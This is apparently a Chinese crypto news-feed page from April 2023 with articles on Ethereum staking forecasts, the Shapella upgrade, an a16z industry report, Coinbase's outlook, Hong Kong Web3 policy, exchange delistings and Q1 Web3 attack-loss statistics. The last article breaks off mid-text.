i）如下图所示，以太坊的质押率目前仅有 15.52%，而其他公链却有着最高达到 73% 的质押率，因此可以判断以太坊目前的质押率肯定是偏低的，有着巨大的增长空间。 Source:https://www.stakingrewards.com/ ii）上海升级完成之前，质押在信标链的以太坊无法流动，大量资金被锁定在信标链上，导致资金利用不灵活，这一点可能会降低用户的质押欲望；而随着上海升级的完成，这个流动性风险问题也会迎刃而解，以太坊质押从存款到提款实现闭环，抵押流动性衍生品代币对以太坊代币价格的汇率也会回归 1：1，这或许能够吸引大量机构和资本的质押，但其实这个点在当前 LSD 盛行的质押环境下并不具备太大的参考价值。 iii）以太坊目前已经处于通缩状态，当前通货膨胀率是 -0.62%，根据供求关系这表明了以太坊的价值正随着时间在不断的提升，而其他公链如此高的质押率正是因为它们的质押收益率更高，而这背后的结果正是代币的不断增发与贬值，因此就这一点来看，对于长期质押者来说，将资金质押在以太坊上或许是一个更具吸引力的选择；而且目前还处于熊市，市场较不活跃，以太坊就已经处于通缩状态，在之后的牛市中每日消耗的 gas 更多，以太坊的通缩量也会更加可观。 然而，以太坊质押率也不会无限增长，我们认为： i）以太坊无法提供像其他公链那样高的质押收益率，因此或许会有更多用户更加倾向于将自己的资产质押在更高收益率的公链上。 ii）而除了与其他公链相比在质押收益率上不占优势之外，以太坊本身的质押收益率还会随着质押率的上涨而降低（不论套娃、LSDFI等玩法的情况下）。如下两图所示，以太坊的质押率和质押收益率是动态平衡的，根据这个模型，在以太坊的质押量达到 44.3M ETH 的时候，年化收益率仅仅只有 2.5%，44.3M 与现在 18.2M 的质押量相比涨幅大约 2.5 倍；而事实就是这样的质押收益率并不足以吸引大部分的用户，因此本文预测以太坊的质押率在当前质押率的基础上翻一倍左右之后会减缓增长速度。 Source:https://ultrasound.money/ 2）以太坊供应、质押率、质押收益率预测 2021 年 2 月至 2023 年 3 月间以太坊供应量和质押率走势 如上图所示，可以看出自 2022 年 9 月开始，以太坊的供应量增长趋于平缓甚至有下降趋势，自以太坊开放质押以来，以太坊质押量不断上升，并且在目前看来以太坊质押量的上升趋势并没有减缓。 基于此，我们认为： 在市场交易不够活跃的熊市中，以太坊供应量增长逐渐平缓并有下降趋势，可以预计到，牛市的到来，交易量的大幅上涨，消耗 gas 费的提高，会进一步加快以太坊的通缩。而以太坊质押率会在供应量通缩的背景下走高，然而随着以太坊的质押率不断提高，单个节点的质押收益率随之降低，在以太坊质押率达到一定值时会进入两者间的动态平衡状态。 但我们相信，随着区块链行业的不断发展，流动性质押作为 DeFi 乐高组件，在其上构建、衍生出更多玩法，相应的以太坊质押率也会比预期更高。根据模型测算，以太坊质押量达到 44.3M 时，质押收益率会降为 2.5%；但是，LSD 会带来很多新的玩法包括循环贷、套娃等，因此，随着 LSD 赛道和区块链行业的发展，更具有吸引力的综合质押收益率将会推动以太坊质押赛道走向更高的动态平衡。 参考资料： [1]Brace Yourselves, Shanghai Is Coming [2]Partial withdrawals after the Shanghai fork [3]The Future of ETH Liquid Staking  ( 4 min )
    比特大陆薪酬改革涉嫌年龄歧视，员工称将维权
    PANews 4月12日消息，据集微网报道，今年一季度以来，比特大陆开始执行员工结构薪酬改革，并且在进行绩效考核时加入“年龄分”，基准年龄之上，年纪越大扣分越多。有涉事员工认为此举违反劳动法，并表示将拿起法律武器维权。 一位比特大陆员工王为告诉集微网，在最新的薪酬调整方案中，原本的固定工资调整为基础工资+绩效工资两部分，而绩效工资与职级挂钩，T3x、T4x、T5x三档职级绩效工资比例分别为30%、50%、70%。在绩效考核时，最终的分数还与年龄挂钩，如果年龄超过基准线，绩效就要扣分。 据一位业内人士则分析，比特大陆2022年营收或超过100亿美金。因此，资金问题应该不会是造成比特大陆这次薪酬改革的主要原因。  ( 1 min )
    数据：一季度Web3领域攻击事件总损失金额约2.95亿美元，环比下降77%
    PANews 4月12日消息，据区块链安全审计公司Beosin旗下Beosin EagleEye安全风险监控、预警与阻断平台共监测，2023年第一季度，监测到Web3领域主要攻击事件61起，总损失金额约为2.95亿美元，较2022年第4季度下降了约77%。2023年第一季度的总损失金额低于2022年的任何一个季度。除攻击事件外，2023年第一季度还监测到主要Rug Pull事件41起，涉及金额约2034万美元。 DeFi为本季度被攻击频次最高、损失金额最多的项目类型。42次安全事件总损失金额达到了2.48亿美元 ，占总损失金额的84%。80.8%的损失金额来自Ethereum，居所有链平台的第一位。本季度损失金额最高的攻击手法为闪电贷攻击，8次闪电贷事件损失约1.98亿美元；攻击手法频率最高的为合约漏洞利用，27次攻击占所有事件数量的44%。本季度约有2亿美元的被盗资产得以追回。本季度资金追回的情况优于2022年的任何一个季度。被攻击的项目中，仅有41%的项目经过了审计。  ( 1 min )
    a16z：来自《2023 年加密货币状况》的 7 个启示
    原文：《2023 State of Crypto Report: Introducing the State of Crypto Index》 撰文：Daren Matsuoka, Eddy Lazzarin, Robert Hackett, and Stephanie Zinn 编译：Lynn，MarsBit 新兴技术在周期中发展；在加密货币中，这包括活动频繁的时期，随后是所谓的加密货寒冬。在我们现在的年度《加密货币状况》报告所标志的时期，一个不经意的观察者很容易忽视加密货币行业正在取得的快速进展。像以太坊合并这样的重大基础设施改进——去中心化和开源开发的重大成就——根本不会像高调的破产、暴雷和倒闭那样经常成为头条新闻。 我们的 2023 年报告旨在解决转瞬即逝的价格变动的噪音与跟踪重要信号的数据之间的不平衡问题，包括 Web3 技术的持久进展。总的来说，报告反映了一个比市场价格可能显示的更健康的行业，以及一个稳定的发展周期、产品发布和持续创新。 今年，我们还推出了一些新的东西：加密货币状态指数，这是一个互动工具，从技术而不是金融的角度跟踪加密货币行业的健康状况。为了对加密货币的状况提供一个更准确和细微的衡量，该指数代表了 14 个行业指标的每月加权平均增长——从验证的智能合约的数量到交易钱包的数量等等。 换句话说，该指数在一张图表中显示了创新率和 Web3 的采用率。该工具也是可以互动的，所以你可以调整参数以形成你自己的观点。如果你发现了有趣的见解，请在 Twitter 和 Farcaster 上与我们分享你的想法：@a16zcrypto。 一些关键要点： 今年的价格已经从 2021 年的令人眼花缭乱的高点稳定下来。这个行业似乎正在稳定下来：投机活动已经冷却，人们如何持久、有机地使用 Web 3 并与之互动的故事正在开始展开。 我们看到每月的活跃地址——每月在链上交易的独特地址——比以往任何时候都多。上个月，我们看到 1500 万个发送地址，是两年前价格仍然高涨时的两倍多。一个可能的解释是： 参与区块链和 Web3 应用程序的方式越来越多。从 DeFi 到 Web3 游戏——其中有 700 多个在去年推出——各种新的应用程序为其用户创建了地址来进行互动，而不需要下载或连接钱包。 更好的工具和扩展技术也在以更低的气体费用吸引着更多的交易。值得注意的是，在过去两年里，区块链交易的总数增长了 50% 以上。 2. 随着前景大好的新用途和应用的出现，DeFi 和 NFT 活动似乎再次上升 与此同时，DeFi 和 NFT 的活动在从 2021 年的高点下降后似乎又开始上升。随着投机的冷却，更多的有机用途似乎已经出现，包括借贷、汇款、艺术品、收藏品、链上游戏等等。 但是，NFT 和去中心化金融的承诺——改变互联网的经济性——仍然存在。例如，在最近几个月，我们看到 NFT 买家和 DEX 交易量都在上升。事实上，Uniswap——一个去中心化交易所——在过去连续两个月的交易量高于 Coinbase——美国最大的中心化交易所。 用户和创作者从 Web3 的结构性较低的「获取率」（也就是平台所有者从用户那里获得的收入份额）中受益。在加密货币中，用户真正拥有他们的数字商品，而且重要的是，他们可以将这些商品带到他们喜欢的任何平台。 人们越容易转换平台，竞争就越能升温，平台从用户身上榨取的利益（或突然改变对用户的规定）就越少。低的平台定价权往往会导致较低的拿货率。 在过去的两年里，NFT 市场在二次销售中向创作者支付了价值近 20 亿美元的版权费。与 Web2 相比，以 Meta 为例，它在 2022 年前为创作者拨出 10 亿美元。考虑到 Meta 的平台——Facebook、Instagram、WhatsApp 等——拥有约 37.4 亿月度用户，而目前 Web3 的用户估计只有数千万，这种比较就更加令人震惊。 值得注意的是，随着时间的推移，Web3 的收益率有下降的趋势。虽然 Web3 的创作者使用费随着该领域的最佳实践和技术的发展而不断变化，但我们期望在这里有更多的创新和试验。 价格可能具有误导性，特别是如果不了解 Web3 技术的动态——和不断增长的——建设者的生态。 值得注意的是，整个加密货币曾经并继续保持着持续的发展。今天，加密货币行业有近 3 万名每月活跃的开发者。而自 2020 年牛市开始以来，稳定增长了 60%，这表明可能被当初的价格上涨吸引的开发者正在坚持下去。 至于他们正在建设的东西：上个月有近 5 万个独特的地址部署了智能合约，仅今年就增加了 40%. 更多的这些合约被验证，更多的核心开发人员库被用来与他们互动，这比我们以前跟踪的要多。 加密货币——一个开源的、去中心化的计算平台——的一个关键特征是，当项目的可组合性组件被其他人重复使用、回收和改编时，项目可以作为一个倍增器发挥作用。 可组合性对软件来说（正如 a16z 加密货币创始人和管理合伙人 Chris Dixon 所说）就像复利对金融来说一样：一种指数级的力量。 「世界上有各种指数级的力量值得关注，因为它们可以成为未来快速增长的指标。在硬件方面，最强大的指数力量是摩尔定律。在金融方面，它是复利。在软件方面，它是可组合性」。 想一想 Uniswap：它开始是一个交换代币的协议，它已经发展成为关键的基础设施，使一个新的 DeFi 应用的生态成为可能。 区块链的扩展欢迎更多的人、更多的交易和更复杂的应用加入。现在我们看到了许多有希望的新路径；对于试图解决基础性挑战的 Web3 开发者来说，这是一片动态的设计空间。 让我们从 「Layer 2」 区块链开始：旨在通过提供更多的区块空间、增加交易吞吐量和降低费用来扩展 Layer 1 区块链底层（如以太坊）的技术。去年，L2 占以太坊上支付的费用的 1.5%. 此后，这一份额增加了四倍多，占以太坊支付的总费用的 7%——表明更多的应用程序选择建立在 L2 上。我们预计这一趋势将继续下去，并使终端用户受益。 最后，开源开发历史上最重要的事件之一——鉴于挑战的范围、分布式协调的性质等等——发生在去年秋天。当网络从「工作证明」过渡到「股权证明」共识机制时，以太坊经历了一次重大升级。「合并」标志着架构的转变，大规模减少了以太坊的能源足迹： 与 Web2 巨头相比： 据估计，YouTube 每年消耗 244 太瓦特小时，或 94000 倍于以太坊的能源。 在过去的一年里，我们看到了「零知识」系统领域的快速进展——这些强大的基础技术解锁了区块链的可扩展性，同时新的用例激增，包括保护隐私的应用和可验证的计算，可以实现去中心化机器学习 /AI. 这些系统（包括零知识证明）涉及证明或验证一组事实是真实的密码学方法，而不透露关于这些事实的任何信息。 这项酝酿了几十年的工作，在过去几年里已经从理论走向了实践。我们似乎看到技术在这里遵循「摩尔定律」一样的步伐。尽管评估基准需要很多细微的差别，但从证明者和验证者到电路和硬件等方面的加速进展是令人难以置信的。 作为一套新兴技术，加密货币需要周到的政策和监管护栏，以安全成长并满足其对美国经济的经济潜力。 有很多辩论，但几乎没有监管的明确性，这阻碍了 Web3 的发展。因此，美国的优势可能正在滑落。在 2018 年至 2022 年期间，位于美国的加密货币开发者与世界其他地区的加密货币开发者的比例下降了 26%. 然而，也有一些积极的迹象——包括两党对立法的推动越来越大，可以提供急需的清晰度。我们希望这一势头将继续下去，并希望政策制定者将为这些技术的未来和潜力而奋斗。 我们仍然处于 Web3 的早期，但我们已经不再是开始。从短期的波动中退后一步，可以看到一个更可预测的模式：一个稳定的产品周期，与媒体关注的金融周期明显不同。 我们已经多次强调了「价格 - 创新周期」的重要性——价格和开发活动在一个正反馈循环中交织在一起的观察——多次；这是一个有用的心理模型，用于导航市场周期和理解驱动它们的指标。当加密货币价格上涨时，更多的人感兴趣并加入其中。这种关注反过来又激发了（和资助）新的想法、初创企业和项目，其中一些在长期内导致更大的采用。 随着时间的推移，这些周期在技术浪潮中推动行业的发展。自 2009 年比特币诞生以来，我们可能正处于第四个这样的周期中。从长远来看，许多指标似乎有稳步上升的趋势。 这就是为什么专注于短期的市场运动——而对潜在的技术趋势关注不够——会掩盖更大的前景。这也是为什么我们问自己：如果有一种方法可以沿着比财务数据更有意义的维度来跟踪持久的进展，会怎么样？ 因此，我们创建了加密货币状态指数，这是一个定期更新和互动的指数，以跟踪行业的发展。 更具体地说，该指数显示了一组关键行业指标中的月度加权平均增长。在指数的旁边，你可以查看所有的指标——一组供应方和需求方的测量指标，分别作为 Web3 创新和采用的指标——以及它们被混合的假设。 默认视图只是呈现了对基础数据的一种解释，根据我们的偏好进行加权。我们还将继续发展这个工具。但你现在就可以自己探索和调整参数。请务必在 Twitter、Farcaster 和其他地方与我们分享你的发现；我们将突出强调最丰富和最有趣的观点。 完整报告：https://api.a16zcrypto.com/wp-content/uploads/2023/04/State-of-Crypto.pdf  ( 5 min )
    韩国数字资产交易所协会DAXA成员将联合下架OMG和SRM
    PANews 4月12日消息，据Upbit公告，韩国数字资产交易所协会DAXA的成员计划终止对OmiseGO (OMG)和Serum (SRM)的交易支持，因OmiseGO网络运行不正常（如难以验证网络正常出块），以及Serum项目没有正常运行，其协议无法使用。 Upbit预计将于北京时间4月26日13:00下架OmiseGO (OMG)和Serum (SRM)，涉及的交易对为OMG/KRW、OMG/BTC、OMG/USDT以及SRM/KRW、SRM/BTC。  ( 1 min )
    全文 | 香港财政司司长陈茂波：Web3缺乏妥善的监管框架，将最大程度实现虚拟资产创新和发展
    4月12日-15日，由万向区块链实验室、HashKey Group联合主办，W3ME承办的“2023香港Web3嘉年华（Hong Kong Web3 Festival 2023）”在香港会议展览中心举行，香港特别行政区政府财政司司长陈茂波出席开幕式并发表致辞。他表示，现在是Web3发展的黄金机遇，也是惊心动魄的时刻。我们要以科技变革的历史视角看待Web3的发展，科技的变革引领着商业的创新，而商业行为也会驱动更好科技的变革，互联网就属于这一类变革的力量，区块链技术的兴起，让互联网已经进入Web3时代。 陈茂波还表示，最近的事件告诉我们，虚拟货币、虚拟资产、交易平台相关的事件，问题不是在于创新力量不足，而是它们有没有在妥善的监管框架下，有效管控风险。香港将推动虚拟资产市场可持续和负责地发展，在「相同业务、相同风险、相同规则」的监管思路下，让虚拟资产最大程度创新和发展。 以下为全文： 早上好！很高兴出席2023香港Web3嘉年华的开幕式。这次为期四天的嘉年华是汇聚全球Web3技术领袖、专家学者、业界精英的盛事，很高兴知道报名参加的人已经超过1万人。大家就Web3的全球发展趋势和热门议题进行交流和讨论，共商未来发展，在此我首先对嘉年华的成功举办表示热烈的祝贺，也祝愿这四天的活动圆满成功，各位远道而来的朋友这几天在香港路途愉快，收获丰硕。 说起Web3，可以说意见纷纭，我认为应该从科技变革的历史视觉来审视。科技变革一直引领着商业营运的创新，而商业行为也会反过来驱动更多科技变革，这个循环往往成为了经济发展不断向前的动力。 电脑和互联网正属于这类变革的力量，微软和苹果公司在上世纪七十年代成立，它们让电脑逐步成为被广泛使用的工具。在电脑的算力和容量不断提高的期间，光纤作为通讯网路的骨干也日益普及，两者叠加积极带动了互联网发展的潮流，制造了巨大的商机。 乘着科技快速发展，互联网从作为特定的机构沟通管道，转向Web1.0，成就了一批以汇聚和发放资讯为基础的企业。过去约20年，互联网再发展成为Web2.0，兼具社交互动的面向，加上移动终端设备的普及，造就了新一代的巨型企业。然而，Web2.0属于中心化互联网，用户的数据和信息由大型互联网平台公司收集和掌控。它们拥有数据和信息的优势，也因而获取了大量广告收益和经济利益。 随着区块链技术的兴起，不少人认为互联网已经进入Web3时代。区块链技术的即时性、透明、高效、去中介化、去平台化，打破原本数据和信息由特定互联网平台掌握的情况，数据会由建设者及用户共同拥有，令互联网「去中心化」。当然，Web3正处起始期，目前常见应用包括加密币、去中心化交易所、数位身分验证、去中心化金融服务（DeFi）、区块链游戏、以至是NFT等，但可以想像，未来将会有更多新的应用和机遇。 事实上，Web3的兴起，让很多人正磨拳擦掌、寻觅新的机会；但与此同时，也有不少人正步步为营，担心未来的发展不可掌控。在我看来，不论是在宏观层面或是个别企业的层面，Web3要真正成功，关键是更好服务实体经济与市场需要，以创新的技术、模式和应用，解决存在已久的痛点、难点，提升效率、造就更好的体验、创造新的价值、新的模式。这可以是在旧有基础上的改进，也有可能是「颠覆性的创造」。 那到底Web3的发展会如何呢？我比较大胆的说，现在是Web3发展的黄金机遇，同时也是最惊心动魄的时刻。 说是惊心动魄，是因为回顾历史，每个大潮的出现之初，都必然会经历震荡的洗礼。二○○○年的科网爆破到近年的虚拟货币，以至近期的虚拟资产交易所倒闭，牵连一些以初创企业为主要客户的银行，也为市场带来了震荡。所以，我们要冷静、稳慎看待Web3发展。 说是黄金机遇，是震荡之后，剩下来的市场参与者会变得更强，投资者会相对变得更冷静。市场力量将促使企业、技术和应用并发出新力量、新模式，让有实力的公司可以挺得到市场腾飞的阶段。另一方面，政府和监管机构一般也会汲取经验，在震荡过后，制订适当的策略，堵塞漏洞，管理风险，让市场可稳慎持续发展。 从历史的观点看，Web3发展在经历震荡阶段后，会再次快速增长。最近的事件告诉我们，虚拟货币、虚拟资产、交易平台相关的事件，问题不是在于创新力量不足，而是它们有没有在妥善的监管框架下，有效管控风险。 推动Web3的发展，前提都是不能损害到金融体系的稳定和投资者保护。在这点上，在座各位都是关心Web3 的参与者，相信大家也从最近的事件中深有体会：适当监管是必须的，这样才能造就「可持续发展」的环境，让大家有更理想的发展空间。 在这个大前提下，香港积极拥抱Web3的发展。作为起步点，我们在去年十月发表《有关虚拟资产在港发展的政策宣言》。简单说，我们会推动虚拟资产市场可持续和负责任地发展，在「相同业务、相同风险、相同规则」的监管思路下，让虚拟资产最大程度创新和发展。自《宣言》发表以后，在过去半年多，Web3 圈的朋友都关注香港这方面的发展，当中有不少已经落户香港；也有些经过一段时间的观察，终于决定来香港设点。 我在今年的《财政预算案》中，以「高质量发展」为角度，提出了三大方向，包括数字化经济、Web3的发展，以及国际绿色科技及金融中心的定位。在就Web3 的发展，我将会成立虚拟资产发展专责小组，和业界代表一起努力，就行业的可持续和负责任发展，向政府提交建议。此外，我亦拨了5,000万元给数码港，加速推动其Web3基地的发展。 各位嘉宾，各位朋友，创新和变革的路途从来不是一帆风顺的，可以预期，Web3 的发展还有着一段路程。虽然如此，经过分析形势、总结其他地方的发展经验，我们认为Web3能为市场所带来的效益、能为市场和社会解决痛点，是大有可为的，这也是不可逆转的未来趋势。 特区政府对Web3在香港的发展充满期盼。我期望，大家能紧扣「稳慎推进」和「解决痛点」这些核心要素，合力在香港建构蓬勃的Web3生态圈，引领更多技术突破、模式创新、应用创新。我深信，大家以香港为基地，将我们的足迹拓展到东盟市场、亚太区市场以至是全球，将会是机遇处处。 今天的大会有不少讨论环节，我期待着与会朋友可以就不同的议题作更深入的探讨，比如怎样利用区块链技术推动绿色科技和绿色金融的更好发展，以及如何协助传统企业借助新技术来提高营运效益等。希望大家的真知灼见能引领Web3的创新路向。 最后，我再次祝愿嘉年华圆满成功！各位嘉宾、各位朋友身体健康、工作愉快、事业宏达，谢谢！  ( 2 min )
    香港财政司司长陈茂波将担任Web3Hub基金主席
    PANews 4月12日消息，据香港中通社报道，香港Web3.0协会于11日成立。除了相关协会之外，香港还将设立Web3Hub基金，支持更多海外Web3.0企业落户香港，该基金将由香港财政司司长陈茂波担任主席，由多位来自金融科技、区块链、加密货币等领域的专家组成管理委员会。 该基金将与香港科技园、创新科技署等机构合作，为海外Web3.0企业提供一站式服务。据悉，该基金已经收到了来自美国、欧洲、新加坡等地的多个Web3.0项目的申请，涉及领域包括去中心化金融（DeFi）、非同质化代币（NFT）、元宇宙（Metaverse）、去中心化社交媒体（Dsocial）等。该基金计划在今年下半年开始投资并支持这些项目。  ( 1 min )
    监管打击，扩张未果，分析“加密第一股”Coinbase可能的未来
    原文：《美国加密监管「指南针」Coinbase 可能的未来》 作者：西昻翔 作为美国头部合规交易所，Coinbase 代表了该国政府对加密行业的容忍度界限。其股价涨跌不仅直接反映财务业绩的好坏，也是资本市场对美国加密监管预期的体现。 众所周知，Coinbase 上市出道即巅峰，此后数年，其业绩惨淡、负面消息缠身以至于股价跌跌不休。而自今年初以来，它终于迎来触底反弹。伴随加密市场的回暖，其股价已经从 30+ 美元低位上涨一倍有余。 但眼下，摆在 Coinbase 面前的难题仍然棘手——它的股价近期数次剧烈波动均与监管机构发起调查有关。本文将从 Coinbase 曾经的全球化扩张策略出发，结合其最新一季财报，对现阶段基本面情况、监管困境和可能的未来展开分析。 作为加密行业成立时间最长、经历多轮牛熊的公司之一，自 2012 年成立以来，Coinbase 迅速发展成为以合规著称的顶级加密货币交易所。 但跟多数行业巨头类似，Coinbase 在经历巅峰期后似乎陷入增长的困境，快速扩张不仅没有换来喜人的增长数字，反而是收入与利润的大幅下滑导致股价暴跌。据财报显示，2022 年前三季度，Coinbase 累计亏损金额达到 20.69 亿美元。 2021 年初，Coinbase 仅有 1250 名员工，到 2021 年底，其扩招至近 3200 名员工。而据 2022 年年初的公开电话会议，Coinbase 表示计划将公司规模扩大两倍，继续扩招 2000 余人。员工数量的持续增长，直接反映出 Coinbase 的扩张野心。 但伴随 Luna 等黑天鹅事件的出现，加密市场快速冷却，Coinbase 不得不采取谨慎态度：先是在 5 月宣布放慢招聘速度，很快又表示将暂停招聘，取消部分已接受的录用通知。最后，其更是进一步宣布大规模裁员，将团队规模缩减约 18% 以减少公司的开支。据华尔街日报报道，Coinbase 甚至还取消了免费员工午餐。 公司首席执行官 Brian Armstrong 指出，由于可能面临的经济衰退，Coinbase 需要控制资金消耗速度并提高效率。 而在行业遇冷的同时，Coinbase 的全球扩张战略也屡遭不利。 以印度市场为例。2022 年 4 月初，Brian Armstrong 一行人来到班加罗尔，在其到访期间，Coinbase 在印度各州和地区拥有 300 多名全职员工。此行相关会议上，Coinbase 还宣布正在增加对印度 UPI 支付工具的支持。但随后 UPI 开发方出面否认与 Coinbase 的合作，导致 Coinbase 很快叫停了对 UPI 的支持。 事实上，印度市场的遭遇只是 Coinbase 全球化合规进程的一个缩影：尽管其付出了巨大合规化成本，但由于各国政府加密监管政策并不明确且摇摆不定，因此 Coinbase 业务始终难以完全嵌入合规金融体系，自然也就难以吸引各国主流人群。 尽管 2022 年流年不利，但需要指出，2023 年伊始 Coinbase 的触底反弹，似乎正在向市场释放一个足够正面的信号：作为全球第二大加密交易所，它还是牢牢把握住了基本盘。 这一点从 Coinbase 最新季度财报（2022Q4）可以看出： 1）虽然由于加密货币交易量持续走低，收入正在大幅下滑，但该公司第四季度业绩稳健，收入和盈利增长均超过预期； 2）Coinbase 从平台持有资产中获得了可观的利息收入，该收入在 2022Q4 环比增长 79% 至 1.82 亿美元； 3）其订阅和服务收入也同比增长 32.5% 至 2.828 亿美元。 自 2022Q1 加密市场走熊以来，Coinbase 一直面临非常艰难的处境，而此后 Terra、FTX 的崩溃持续加剧了这种情况。但好在，Coinbase 自身足够坚韧，它仍处于稳固的头部地位。 「稳固」的第一个原因是其平台成交量来源更加健康。 上表反映了 Coinbase 平台不同资产类别的交易量占比情况，比特币、ETH 和其他，其他中包括一些所谓「山寨币」。 对比过去五个季度，「其他」类别占比从 2021Q4 的 68% 下降到 2022Q4 的 33%。这既是「山寨币」和新 ICO 急速下降的结果，也说明更多相对优质和稳定的交易正在 Coinbase 平台上持续增长。 「稳固」的第二个原因是平台客户类型更加健康。 上表是 Coinbase 两类交易者所贡献的交易量占比情况。拆解来看，零售（Consumer）交易量从 2021Q4 的 1770 亿美元（占比 32%）下降至 2022Q4 的 200 亿美元（占比 14%）；虽然机构（Institutional）交易量也在下降，从 2021Q4 的 3710 亿美元下降至 2022Q4 的 1250 亿美元，然而其占比却从 68% 上升到 86%。 这对 Coinbase 有利，它表明机构基金正在更认真地对待加密资产这一全新类别（即使短期内兴趣有所下降），同时这也证明了 Coinbase 正在赢得机构的信任（因此选择在此交易）。 2022Q3，Coinbase 被全球最大资管公司 BlackRock 选中为其 Aladdin（端到端投资平台）客户提供加密交易通道。2023 年 1 月，BlackRock 选择将比特币作为投资标的添加到其全球配置基金中。 在 2022Q4 的财报电话会议上，Coinbase 管理层也表示，他们看到越来越多的机构投资者加入其 Coinbase Prime 计划。 「稳固」的第三个原因是 Coinbase 正在开辟新的收入类型。 Coinbase 正在通过质押和利息收入相结合，从其平台上持有的资产中获得收入。据财报，其 2022Q4 利息收入环比增长 79% 至 1.82 亿美元。这主要是受利率上升的推动，使其托管的巨额客户资产实现了不小的收益。 另外，该公司的订阅和服务收入同比增长 32.5% 至 2.828 亿美元（如下图）。这主要受益于 Coinbase One 计划以及 ETH 质押增长的持续推动。 Coinbase 可能的未来 尽管 Coinbase 当前拥有相对稳固的基本面，但其未来发展如何，还需要考虑到一系列「顺风」和「逆风」因素。 显然，对 Coinbase 影响最大的因素是加密市场何时回暖。原因很简单，Coinbase 收入的上涨始于投资者的回归，而投资者的回归必将是因为加密市场整体价格的上涨。尽管 2022Q4 财报超出预期，但需要承认，2022 年它遭遇了沉重打击，月活用户和交易收入仍在持续下降。 因此，加密牛市的回归对 Coinbase 至关重要。这是帮助 Coinbase 重新赢回流失用户的最有效催化剂。 对 Coinbase 影响第二重要的「顺风」因素自然就是新的收入来源。 一个可以期待的亮点是质押收入，毕竟截至当前，这个数字呈上升趋势。2021 年，Staking 占 Coinbase 总收入不到 1%；但到 2022Q3，它占收入的 10% 以上。 当然，这里的问题是 SEC 已将质押作为监管重点。2 月，SEC 针对加密交易所 Kraken 向投资者提供质押产品一事处以 3000 万美元罚款，并暗示将打击整个行业。而作为回应，Coinbase 屡屡强调质押并非证券产品。但最终事情走向如何，谁也无法把握。 除开质押之外，Coinbase 也在寻找其他收入来源。其一是订阅收入，即 Coinbase Cloud 等产品的订阅费。其二是国际业务——Coinbase Global。它在持续推进全球扩张，并且没有放缓的迹象。 Coinbase 的战略举措还包括与 Optimism 合作推出 Base，一项安全、低成本、对开发者友好的以太坊 L2 解决方案。也许最终它可以作为面向机构投资者的平台，尤其是在提供新的 DeFi 产品方面，这可能会为 Coinbase 开辟新的收入来源。 但以上众多「顺风」因素最终都将受制于一个问题——Coinbase 到底还会面临多少法律和监管风险？ 似乎每个月，SEC 都会宣布对加密行业的新领域重拳出击。 Coinbase 需要正面解决这个问题，或至少让市场看到它的决心。这就是为什么它与 SEC 就质押问题针锋相对，因为这不仅表明了该收入来源对公司的重要性，也是向大家宣告它愿意积极应对行业可能存在的重大挑战。 此外，Coinbase 最近发起了「Crypto435」倡导运动，将在美国 435 个国会选区推进支持加密政策的游说运动，鼓励立法者对加密货币更加友好。 可以说，所有证据表明，Coinbase 正在酝酿打一场持久战。 Brian Armstrong 曾在给员工的信中强调，「在过去十年里，Coinbase 已经度过了多个熊市。」他相信 Coinbase 将受益于更严格的加密监管政策，因为这有助于清除行业中的落后公司。 我们相信，Coinbase 成长的背后反映了整个行业的变迁。尽管直到现在，区块链底层技术所承载的诸多用例还没有真正发挥作用，或者说，还没有完全按照其发明者所预期的方式发挥作用。但以 Coinbase 为代表的加密公司们，仍在积极寻找推动行业整体向前的解决方案。  ( 4 min )
    杭州市与香港正式签署Web3产业联动备忘录
    PANews 4月12日消息，在今日举行的Web3香港嘉年华峰会上，杭州市上城区人民政府副区长孔德君、香港贸易发展局代表李达锋签署《杭州-香港Web3产业联动备忘录》。通过充分发挥杭港两地各自优势，加强资源互补和共享，深化Web3领域产业联动与合作，切实推动杭州与香港Web3产业深度融合，实现1+1大于2的聚合效应。  ( 1 min )
    阿根廷期货交易所Matba Rofex将于5月推出拉美首个受监管的比特币期货
    PANews 4月12日消息，据金十报道，阿根廷期货交易所Matba Rofex当地时间周二获得阿根廷证券监管机构CNV授权，将推出受监管的比特币期货。Matba Rofex总裁Andres Ponte在一份短信声明中表示，“我们是第一家推出受监管比特币期货的拉丁美洲交易所，”该交易所将从5月开始交易这些工具，可能会要求投资者存入约40%的期货合约价值的保证金。 据悉，该产品的基础资产将为比特币价格指数，该指数基于12个不同的当地加密交易所，以阿根廷比索实时发布资产价格。 此前2021年消息，Matba Rofex向监管机构申请推出比特币期货。  ( 1 min )
    Bixin Ventures：以太坊Shapella升级可以给我们带来哪些期待？
    原文：《What can we expect from Shapella?》 原文作者: Henry Ang, Mustafa Yilham, Allen Zhao, Jermaine Wong & Jin Hao 编译：Evan Gu，Evie Xie & Vivian Fang 以太坊合并贯穿了整个2022年。以太坊通过了巴黎升级，从工作量证明（PoW）过渡到了权益证明（PoS）。4月12日，以太坊将进行上海和Shapella升级，质押的以太币可以提现，以太坊将完全转变为权益证明机制的区块链。 在下面的文章中，我们将分享“Shapella”升级的背景、对$ETH价格的影响、受益者有哪些，以及以太坊路线图的下一步计划是什么。 尽管Shapella看起来是对以太坊的单一改变，但实际上它由两个同时发生升级的名字合并而来——上海和Capella。以太坊的执行层将进行上海升级，而其共识层将进行Shapella升级。 虽然上海升级由五个EIP组成，但其中最重要的是EIP-4895，它使以太坊的共识层（信标链）中自2020年12月启动以来被验证者质押和锁定的所有以太币都可以提现。Shapella是共识层的第三个重大升级，旨在促进此过程，不仅允许区块处理提现请求，而且还实现了账户清理功能，这个我们在稍后会详细说明。 一旦上海和Shapella升级完成，ETH提现将可以全额或部分提现。 部分提现仅涉及超出运行验证者所需的32个ETH金额的部分。这种账户清理（或“刮削”）会自动地且周期性地发生在任何已更新到新的提现凭据的活动验证者身上。 这项功能具有极大的用途，有两个主要原因： 由于验证者奖励不会自动复投，这种机制可以提高质押者资金的资本效率。质押者将被允许重新配置其多余的ETH以获得其他收益，而不必支付任何Gas费用。 另外，部分提现可以防止长时间的退出队列以及过多的验证者轮换，否则验证者将被要求完全退出信标链以访问其奖励，这将可能破坏网络的稳定性。 由于每个时间段只会发生16次部分提款，所以削减提款的频率严重依赖于合格验证者的总数。验证者应该期望部分提款的间隔在2到5天之间。 如果一名验证者选择完全“退出”作为网络的活跃验证者，其将收回32个ETH以及自其创建以来累计获得的所有奖励，这个过程将会发生完全提款。 与其他PoS区块链类似，验证者将有一个释放期，在此期间他们将等待直到收到其全部质押和奖励余额。这个释放期的长度由两个可变时间之和决定，即验证者退出以太坊共识层所需的时间和整个提款流程所需的时间。因此，寻求进行完全提款的验证者应该预计至少261个epochs或28个小时。 